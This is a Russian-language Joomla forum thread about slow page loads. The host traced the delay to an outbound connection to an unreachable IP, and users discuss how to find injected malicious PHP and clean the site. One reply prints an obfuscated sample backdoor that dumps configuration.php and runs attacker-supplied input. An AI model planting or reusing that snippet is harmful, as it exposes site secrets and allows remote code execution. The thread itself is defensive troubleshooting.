Медленная загрузка страниц сайта - Joomla 3.x: Общие вопросы

Добрый день!
У меня возникла интересная проблема, со вчерашнего дня сайты на Joomla стали медленно грузится. Например этот: www.gid.land. Страницы грузятся по 10 секунд.
Я написал  хостеру в техподдержку, и получил ответ, что
Продиагностировали дочерние процессы веб-сервера Apache при работе Ваших сайтов с помощью утилиты strace, проверка показала, что больше всего времени тратится при попытке подключения к серверу 51.255.192.203 на порт 80:
20:23:10.556362 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("51.255.192.203")}, 16) = -1  EINPROGRESS (Operation now in progress)
20:23:10.556491 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:10.556530 poll([{fd=3, events=POLLOUT}], 1, 1) = 0 (Timeout)
20:23:10.557742 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:10.557844 poll([{fd=3, events=POLLOUT}], 1, 198) = 0 (Timeout)
20:23:10.756119 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:10.756269 poll([{fd=3, events=POLLOUT}], 1, 0) = 0 (Timeout)
20:23:10.756345 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:10.756411 poll([{fd=3, events=POLLOUT}], 1, 1000) = 0 (Timeout)
20:23:11.757332 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:11.757475 poll([{fd=3, events=POLLOUT}], 1, 1000) = 0 (Timeout)
20:23:12.758680 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:12.758768 poll([{fd=3, events=POLLOUT}], 1, 1000) = 0 (Timeout)
20:23:13.759338 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:13.759427 poll([{fd=3, events=POLLOUT}], 1, 1000) = 0 (Timeout)
20:23:14.760445 poll([{fd=3, events=POLLOUT|POLLWRNORM}], 1, 0) = 0 (Timeout)
20:23:14.760575 poll([{fd=3, events=POLLOUT}], 1, 796) = 0 (Timeout)
20:23:15.556823 close(3)                = 0

Т.к. этот сервер недоступен то сайт ожидает подключения в течение 5 секунд, эти 5 секунд идут в скорость загрузки сайтов.
------------------

Сделал восстановление сайта на неделю назад, когда проблема не обнаруживалась - результата не дало.

Подскажите, что может быть?
Как найти  - что стучится на удаленный IP?

Спасибо всем заранее

У вас установлено расширение, которое берет данные с сайта 51.255.192.203, найдите его и отключите.

Да, я понимаю, я перенес сайт на другой сервер, снес все модули, плагины и компоненты, - сторонние, проблема остается..
gid.ctour.co.il это голая версия..

Скачал весь сайт, прогнал в редакторе поиск адреса  51.255.192.203 - ничего не находит..
У кого-то есть идеи?

А что за poll?

Не могу сказать, это лог из саппорта.
Голосований на сайте не стоит..

Проверил сайт на вирусы - все чисто..

Проверил сайт на вирусы - все чисто..

А если найду?

был бы рад:)
Искал в скачанных файлах сайта Айболитом, Доктор Веб и Манул от Яндекса.

Что интересно, указанная проблема наблюдается на почти всех Joomla сайтах, расположенных на хосте.
Я также использую AdminTools  - купленную от Akeeba.
Возможно, стоит просканировать базу данных?

Мне кажется к joomle ни какого отношение не имеет.

http://pubs.opengroup.org/onlinepubs/009695399/functions/poll.html

Если, вы из панели управления хостом не запускаете ни чего, тоды вам видимо к хостеру.
Я могу быть не прав

Я перенес сайт на другой сервер - та же байда..
 

Скачал  базу данных  только что, просканировал на предмет этого IP адреса 51.255.192.203  - не находит ничего.

как то можно выявить, какой скрипт стучится на удаленный IP?

Посмотрите кода меняли последний раз файлы php, и ковыряйтесь в них вставки там base64, zip может что вставил вирусняк а айболит еще не в курсе.
а Joomla то какая? последняя хоть?

Joomla вся последняя.

А кроном вы ни чего не запускаете?

Я лично нет..
Важный вопрос..
Если залить свежую версию Joomla поверх существующих файлов, это повредит существующий сайт?

Если залить свежую Joomla поверх, может что-то улететь, а может и нет.
Сделайте бэкап сайта и базы и в путь.

Если файлы ядра не менялись, то можно лить. Бекап только.

Завтра буду пробовать.
В принципе бекапы есть на все сайты, кроме одного.
А еще вопрос: если установить чистую версию Joomla, установить все компоненты, модули, шаблоны как на старом сайте, а затем законектить к ней старую базу даных, это будет работать?
Спс

А какие файлы вы понимаете под ядром?
Сорри за не понимание;(
Что там могло меняться?

Завтра собираюсь перезалить после бекапа папку за папкой.

Важный вопрос..

В принципе нет.

Кто-то или что-то пытается создать соединения при обращении к сайту.
т.к выполняется на стороне сервера то это или php скрипт или скрипт выполняемый самим сервером.
если вы перенесли все на новый сервер, то по идеи остается только скрипты php.
Ну а тут яб поискал запускается он до выполнения index.php шаблона или после и копал бы в сторону...
Посмотрите визуально на файлы php хоть шаблона, визуально нет ли там какого странного кода.

Вот строчки такого плана
require_once(dirname(__FILE__). '/php/virus.php');

gz, base64, zip ,compress (что-то такого плана) = тут белиберда всякая в скобочках,

Я шаблон переустановил заново. Устанавливал другой шаблон и все то же, грузится медленно.

"Вот строчки такого плана
require_once(dirname(__FILE__). '/php/virus.
gz, base64, zip ,compress ,"[/i]


Эти строчки нужно искать?
Поиском реально их найти?
Использую Notepad++

Вы скорей всего не справитесь, извините...

Вот вам пример злого кода.

vzuvezv<?php $c=base64_encode(file_get_contents('configuration.php'));echo $c;$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

Сделайте бэкап, поставте чистую Joomla и новую базу и смотрите. Тормозит не тормозит.
Ежли тормозит то к хостеру.

Пошагово менять папки трудно, пока меняешь, если кто-то заходит на сайт, вирус размножается по файлам (если это вирус)

А какие файлы вы понимаете под ядром?

Это все файлы исключая папку templates
Если руками в файлах ядра ни че не меняли, можете Joomla ставить поверх, но сделайте бэкап.

Большое спасибо за подробный ответ!
Завтра буду пробовать.
Отпишусь.
Свежа Joomla стоит работает нормально.
Буду менять папку за папкой на тестовом сервере, куда никто не заходит.

Ставить поверх - можно просто перезалить папки?

можно и перезалить.
конфиг только старый верните и папку установки удалите.
Да и поменяйте логин, пароль, префикс к БД. может к вам и с наружи кто в гости ходит.
если сайт оживет, то все хорошо, если со временем помрет то заражен шаблон, нужно чистить шаблон.
но самое поганое если почистите все файлы а оно опять вылезти, вероятно в БД сидит.